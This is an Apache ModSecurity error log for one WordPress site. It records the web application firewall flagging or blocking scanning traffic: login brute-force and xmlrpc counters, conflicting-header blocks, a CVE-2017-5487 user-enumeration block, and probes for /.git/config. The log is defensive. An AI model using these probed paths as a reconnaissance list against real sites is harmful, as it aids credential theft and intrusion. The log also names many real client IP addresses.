[Wed Jan 14 17:53:23.689676 2026] [:error] [pid 61377:tid 61423] [client 79.112.84.49:60598] [client 79.112.84.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.112.84.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWdnk8x0Xs4tcq6R-WhEdQAAAc0"]
[Wed Jan 14 18:22:01.326250 2026] [:error] [pid 61377:tid 61410] [client 49.51.72.236:53780] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWduScx0Xs4tcq6R-WhMzwAAAcA"]
[Wed Jan 14 18:28:56.962876 2026] [:error] [pid 8057:tid 8059] [client 182.42.105.144:48699] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWdv6LFNJ5k8MCPHoPX_agAAAMA"]
[Wed Jan 14 20:25:20.842192 2026] [:error] [pid 61376:tid 61401] [client 79.133.57.235:41180] [client 79.133.57.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.133.57.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWeLMKjRUNDW2YrxZG5gRgAAAVQ"]
[Wed Jan 14 20:25:23.869341 2026] [:error] [pid 7961:tid 7987] [client 79.133.57.235:41196] [client 79.133.57.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.133.57.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWeLM5jhjzEJ3QX9HuYCQwAAAFg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 21:18:30.496564 2026] [:error] [pid 21490:tid 21513] [client 66.175.44.55:52562] [client 66.175.44.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWeXpu26AHzy1muKyudTpwAAARQ"]
[Wed Jan 14 22:07:09.019230 2026] [:error] [pid 61378:tid 61439] [client 220.158.232.94:62750] [client 220.158.232.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.232.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWejDRGjJjuJmoPOtlpOegAAAAI"]
[Wed Jan 14 22:25:41.735881 2026] [:error] [pid 61468:tid 61485] [client 97.74.205.166:18402] [client 97.74.205.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 97.74.205.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWenZdfEBBL2jp9TJvLREAAAAI4"]
[Wed Jan 14 22:25:45.626451 2026] [:error] [pid 61468:tid 61479] [client 97.74.205.166:18402] [client 97.74.205.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 97.74.205.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWenadfEBBL2jp9TJvLREwAAAIg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 23:16:59.974351 2026] [:error] [pid 61378:tid 61442] [client 43.133.66.51:57478] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWezaxGjJjuJmoPOtlpYXAAAAAU"]
[Thu Jan 15 00:37:08.362540 2026] [:error] [pid 25012:tid 25016] [client 43.157.46.118:60322] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWfGND-ru-9lIsqx5CnrwwAAAIE"]
[Thu Jan 15 00:38:51.850812 2026] [:error] [pid 23265:tid 23309] [client 162.241.253.213:34112] [client 162.241.253.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.253.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWfGm6MIMikX8ofnAA3YVwAAAA4"]
[Thu Jan 15 00:56:01.950465 2026] [:error] [pid 23264:tid 23269] [client 167.172.219.235:60528] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.219.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfKoTxGR-Yo9U5nM0BuEAAAAUE"]
[Thu Jan 15 00:56:04.031648 2026] [:error] [pid 23264:tid 23277] [client 167.172.219.235:60528] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.219.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfKpDxGR-Yo9U5nM0BuEgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 01:06:03.037322 2026] [:error] [pid 23265:tid 23305] [client 182.43.70.143:59109] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWfM-6MIMikX8ofnAA3d-AAAAAo"]
[Thu Jan 15 02:01:40.248652 2026] [:error] [pid 23266:tid 23346] [client 150.242.201.113:50406] [client 150.242.201.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.242.201.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfaBHBtBrkcKkbU8Y6x1gAAAFg"]
[Thu Jan 15 02:01:47.634785 2026] [:error] [pid 23266:tid 23342] [client 150.242.201.113:50412] [client 150.242.201.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.242.201.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfaC3BtBrkcKkbU8Y6x4AAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 02:24:08.600467 2026] [:error] [pid 38522:tid 38535] [client 162.241.224.104:43652] [client 162.241.224.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWffSO2HBPsiOcuCCx2KHwAAAco"]
[Thu Jan 15 02:24:30.100657 2026] [:error] [pid 23355:tid 23359] [client 162.241.224.104:14256] [client 162.241.224.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWffXogRLUaz7Nmrre3AFQAAAMI"]
[Thu Jan 15 02:24:46.979974 2026] [:error] [pid 23266:tid 23328] [client 162.241.224.104:52964] [client 162.241.224.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWffbnBtBrkcKkbU8Y61jwAAAEY"]
[Thu Jan 15 03:01:26.733062 2026] [:error] [pid 38487:tid 38506] [client 202.92.6.43:32890] [client 202.92.6.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.92.6.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfoBnd6D7T-YuGPyi5OGgAAAZE"]
[Thu Jan 15 03:01:30.590142 2026] [:error] [pid 25012:tid 25039] [client 202.92.6.43:46778] [client 202.92.6.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.92.6.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWfoCj-ru-9lIsqx5CkY7wAAAJg"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 03:58:13.705041 2026] [:error] [pid 5389:tid 5400] [client 220.158.233.198:23956] [client 220.158.233.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWf1VUkzfklDSWCNrVIQRgAAAMk"]
[Thu Jan 15 05:02:01.146789 2026] [:error] [pid 5290:tid 5318] [client 135.236.141.36:1128] [client 135.236.141.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWgESTiQRfcmyoePXPehRQAAABM"]
[Thu Jan 15 05:02:02.950733 2026] [:error] [pid 5290:tid 5306] [client 135.236.141.36:1128] [client 135.236.141.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWgESjiQRfcmyoePXPehTAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 06:07:56.729453 2026] [:error] [pid 5291:tid 5344] [client 41.185.8.162:36236] [client 41.185.8.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWgTvDp5twZ54fay3ReJYQAAAFE"]
[Thu Jan 15 06:08:03.349137 2026] [:error] [pid 5291:tid 5337] [client 41.185.8.162:59592] [client 41.185.8.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWgTwzp5twZ54fay3ReJawAAAEo"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 06:36:46.747674 2026] [:error] [pid 5292:tid 5378] [client 49.51.253.26:44870] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWgafmWxK-ai3L9DjxYArwAAAJc"]
[Thu Jan 15 07:05:54.903650 2026] [:error] [pid 5291:tid 5327] [client 106.119.167.146:50569] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWghUjp5twZ54fay3RefeQAAAEA"]
[Thu Jan 15 08:02:04.111221 2026] [:error] [pid 5291:tid 5345] [client 43.166.226.57:39696] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWgufDp5twZ54fay3Re0GgAAAFI"]
[Thu Jan 15 08:45:09.750905 2026] [:error] [pid 51857:tid 51865] [client 201.141.106.149:53585] [client 201.141.106.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.141.106.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWg4lXDlXoqhkNNyf_xuqAAAAUY"]
[Thu Jan 15 08:49:26.713261 2026] [:error] [pid 5290:tid 5299] [client 201.141.106.149:57907] [client 201.141.106.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWg5ljiQRfcmyoePXPfq7wAAAAA"]
[Thu Jan 15 08:50:41.205207 2026] [:error] [pid 5290:tid 5318] [client 201.141.106.149:58492] [client 201.141.106.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.141.106.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWg54TiQRfcmyoePXPfrNwAAABM"]
[Thu Jan 15 08:51:47.108438 2026] [:error] [pid 5291:tid 5339] [client 201.141.106.149:58947] [client 201.141.106.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.141.106.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWg6Izp5twZ54fay3RfFYAAAAEw"]
[Thu Jan 15 08:52:53.876326 2026] [:error] [pid 5389:tid 5414] [client 201.141.106.149:59409] [client 201.141.106.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.141.106.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWg6ZUkzfklDSWCNrVKLAwAAANc"]
[Thu Jan 15 08:54:01.789969 2026] [:error] [pid 51807:tid 51812] [client 201.141.106.149:60455] [client 201.141.106.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.141.106.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWg6qcMrH4_ge4gLwN1QJAAAAQM"]
[Thu Jan 15 11:34:55.945178 2026] [:error] [pid 5290:tid 5304] [client 44.201.73.112:50280] [client 44.201.73.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aWhgXziQRfcmyoePXPcc9gAAAAU"]
[Thu Jan 15 12:40:56.549889 2026] [:error] [pid 5389:tid 5392] [client 178.62.228.200:60080] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWhv2EkzfklDSWCNrVLjGQAAAME"]
[Thu Jan 15 12:40:58.823590 2026] [:error] [pid 51807:tid 51832] [client 178.62.228.200:60218] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWhv2sMrH4_ge4gLwN2QPwAAARc"]
[Thu Jan 15 13:31:02.990486 2026] [:error] [pid 51807:tid 51827] [client 162.62.213.165:39692] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWh7lsMrH4_ge4gLwN2howAAARI"]
[Thu Jan 15 13:40:02.239391 2026] [:error] [pid 5292:tid 5367] [client 192.250.235.211:38850] [client 192.250.235.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.235.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWh9smWxK-ai3L9DjxaGNwAAAIw"]
[Thu Jan 15 13:40:04.339905 2026] [:error] [pid 5292:tid 5370] [client 192.250.235.211:38850] [client 192.250.235.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.235.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWh9tGWxK-ai3L9DjxaGOgAAAI8"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 13:47:57.047743 2026] [:error] [pid 5292:tid 5377] [client 3.7.60.163:46502] [client 3.7.60.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.7.60.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWh_jWWxK-ai3L9DjxaIrgAAAJY"]
[Thu Jan 15 14:15:45.694186 2026] [:error] [pid 51807:tid 51826] [client 135.236.141.36:1483] [client 135.236.141.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWiGEcMrH4_ge4gLwN2xYgAAARE"]
[Thu Jan 15 14:15:47.850992 2026] [:error] [pid 51807:tid 51809] [client 135.236.141.36:1483] [client 135.236.141.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWiGE8MrH4_ge4gLwN2xaAAAAQA"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 15:16:07.141083 2026] [:error] [pid 5292:tid 5358] [client 44.201.73.112:53224] [client 44.201.73.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aWiUN2WxK-ai3L9DjxanvgAAAIM"]
[Thu Jan 15 19:02:39.349991 2026] [:error] [pid 5292:tid 5374] [client 192.250.234.159:45824] [client 192.250.234.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.234.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWjJT2WxK-ai3L9DjxYG6AAAAJM"]
[Thu Jan 15 19:02:41.430140 2026] [:error] [pid 5292:tid 5368] [client 192.250.234.159:45824] [client 192.250.234.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.234.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWjJUWWxK-ai3L9DjxYG9gAAAI0"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 19:33:59.831395 2026] [:error] [pid 51807:tid 51809] [client 182.42.105.85:39387] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWjQp8MrH4_ge4gLwN0SigAAAQA"]
[Thu Jan 15 19:36:00.550155 2026] [:error] [pid 5292:tid 5357] [client 185.153.220.6:46970] [client 185.153.220.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.220.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWjRIGWxK-ai3L9DjxYWIgAAAII"]
[Thu Jan 15 19:36:02.715624 2026] [:error] [pid 5292:tid 5376] [client 185.153.220.6:46970] [client 185.153.220.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.220.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWjRImWxK-ai3L9DjxYWJwAAAJU"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 15 20:08:10.879785 2026] [:error] [pid 5290:tid 5308] [client 43.130.154.56:59112] [client 43.130.154.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWjYqjiQRfcmyoePXPe-hwAAAAk"]
